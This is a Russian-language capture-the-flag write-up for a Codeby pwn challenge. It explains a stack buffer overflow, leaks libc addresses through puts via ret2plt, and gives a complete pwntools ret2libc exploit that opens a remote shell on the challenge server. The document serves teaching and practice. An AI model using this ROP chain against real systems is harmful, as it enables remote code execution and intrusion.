Автор: Delinester
Источник: Name PWN Writeup
Ссылка на таск Codeby
https://codeby.games/categories/pwn/d452cdbb-c9cb-4aa1-9d25-3be6bf171223
Описание задания
Профи, назови своё имя 😎
IP: 62.173.140.174:27750
Решение
1. Обнаружение уязвимостей
Поскольку программа принимает пользовательский ввод, целесообразно проверить ее на переполнение буфера.
2. Расчет смещения
IDA Pro показывает, что существует функция enter_name, которая создает локальную переменную *buf *****, расположенную по смещению rbp-16. Следовательно, чтобы переопределить RSP, мы добавляем 8 байт (так как программа была скомпилирована под арку x86-64).
Чтобы убедиться в этом, запустим сессию gdb, которая вводит 24 байта мусора и 8 символов ‘z’.
run < <(python -c "print('A'*24+'zzzzzzzz')")
Как мы видим, RSP был успешно переопределен с нашей полезной нагрузкой из 8 символов ’z’. Программа завершается, потому что RSP содержит недопустимое значение. Команда ret извлекает первое значение из стека и помещает его в RIP.
3. Утечка адресов
Поскольку мы знаем, что можем легко контролировать RIP, пришло время подумать, как использовать эту силу с пользой.
Сначала мы проверим защиту файла
$ checksec ./task
[*] '/home/delinester/Desktop/task'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
В исполняемом файле включен бит NX, что означает, что мы не можем переполнить буфер шеллкодом и запустить его.
ROP и техника ret2plt
Следующий шаг - проверить, есть ли у нас все необходимые «гаджеты» для взлома машины. Наблюдая за файлом с помощью IDA, мы можем сделать вывод, что одним из возможных вариантов является вызов команды system(/bin/sh), которая находится в динамической библиотеке libc.
Но для этого нам нужен LEAK.
Как можно заметить, файл компонуется динамически. Таким образом, ELF-файл должен содержать Global Offset Table(GOT) и Procedure Linkage Table(PLT).
Короче говоря, GOT содержит адреса функций в памяти. PLT содержит процедуры с инструкциями перехода к GOT. Чтобы прояснить ситуацию, мы можем вызвать любую функцию из PLT так же, как и обычный вызов функции, и мы можем использовать секцию GOT для поиска и утечки адресов libc функций!
Я собираюсь использовать библиотеку pwntools python для эксплуатации нашего исполняемого файла
from pwn import *
elf = ELF('./task')
rop = ROP(elf)
# Gadgets that we will user further
pop_rdi = rop.find_gadget(['pop rdi'])[0]
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
main_sym = elf.symbols['main']
ret = (rop.find_gadget(['ret'])[0])
Для утечки адреса мы можем использовать гаджет pop_rdi, чтобы загрузить адрес функции puts в регистр (первый аргумент функции) и перейти к puts, используя ее PLT-запись.
Наша платная нагрузка будет выглядеть следующим образом
payload = b'A'*24 + p64(pop_rdi) + p64(got_puts) + p64(plt_puts)+ p64(main_sym)
Далее мы должны каким-то образом прочитать утечку адреса и использовать его в нашей эксплуатации.
# Let's check the payload
p = process("./task")
p.sendline(payload)
print(p.recv())
Чтобы разобрать адрес, мы должны освободить буфер stdout, пока он не достигнет строки с надписью «Спасибо!». Затем мы читаем следующую строку и удаляем символ перевода строки
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
Затем я написал простую функцию для преобразования вывода в адрес
def getHex(out, func):
hex_addr = b''
for char in out:
hex_addr += (p8(char))
hex_addr += p16(0) # This is to make the address 8 bytes
hex_addr = p64(u64(hex_addr))
print("LEAKED ADDR " + func + ' ' + hex(u64(hex_addr)))
return hex_addr
И сохраните результаты
addr_puts = getHex(out, 'puts')
Чтобы заставить ROP работать, мы должны определить версию libc на удаленной машине!
Для этого нам нужно слить адрес любой другой функции, определенной в GOT. Выберем printf.
got_printf = elf.got['printf']
payload2 = b'A'*24+p64(pop_rdi)+p64(got_printf)+p64(plt_puts)+ p64(main_sym)
p.sendline(payload2)
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
printf_addr = getHex(out, 'printf')
Запустим исполняемый файл на удаленной машине:
p = remote(host = '62.173.140.174', port = '27750')
# The rest of code here
4. Определение версии libc на целевой машине
Для этого мы будем использовать сайт https://libc.blukat.me/.
Вставляем функции и соответствующие им адреса в поля
Ага! Версия libc целевой системы - musl-1.2.4-r2.
Щелкнув на ней, мы узнаем смещения для puts, system и /bin/sh.
5. Финальная полезная нагрузка и флаг
Теперь мы можем вычислить базовый адрес библиотеки libc и адреса system и /bin/sh и собрать нашу финальную полезную нагрузку!
from pwn import *
def getHex(out, func):
hex_addr = b''
for char in out:
hex_addr += (p8(char))
hex_addr += p16(0)
hex_addr = p64(u64(hex_addr))
print("LEAKED ADDR " + func + ' ' + hex(u64(hex_addr)))
return hex_addr
elf = ELF('./task')
rop = ROP(elf)
pop_rdi = rop.find_gadget(['pop rdi'])[0]
got_puts = elf.got['puts']
plt_puts = elf.plt['puts']
got_printf = elf.got['printf']
main_sym = elf.symbols['main']
ret = (rop.find_gadget(['ret'])[0])
p = remote(host = '62.173.140.174', port = '27750')
payload = b'A'*24+p64(pop_rdi)+p64(got_puts)+p64(plt_puts)+ p64(main_sym)
p.sendline(payload)
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
addr_puts = getHex(out, 'puts')
payload2 = b'A'*24+p64(pop_rdi)+p64(got_printf)+p64(plt_puts)+ p64(main_sym)
p.sendline(payload2)
out = p.recvline_contains("Thank you!")
out = p.recvline().strip(b'\n')
printf_addr = getHex(out, 'printf')
libc_base = u64(addr_puts) - 0x4d20f
bin_sh = (libc_base) + 0x919a0
system = (libc_base) + 0x41d6f
payloadFinal = b'A'*24 + p64(pop_rdi) + p64(bin_sh) + p64(ret) + p64(system) + p64(ret) + p64(main_sym)
p.sendline(payloadFinal)
p.interactive()
Он успешно открывает оболочку, и мы можем открыть в ней файл flag.txt!
Tags: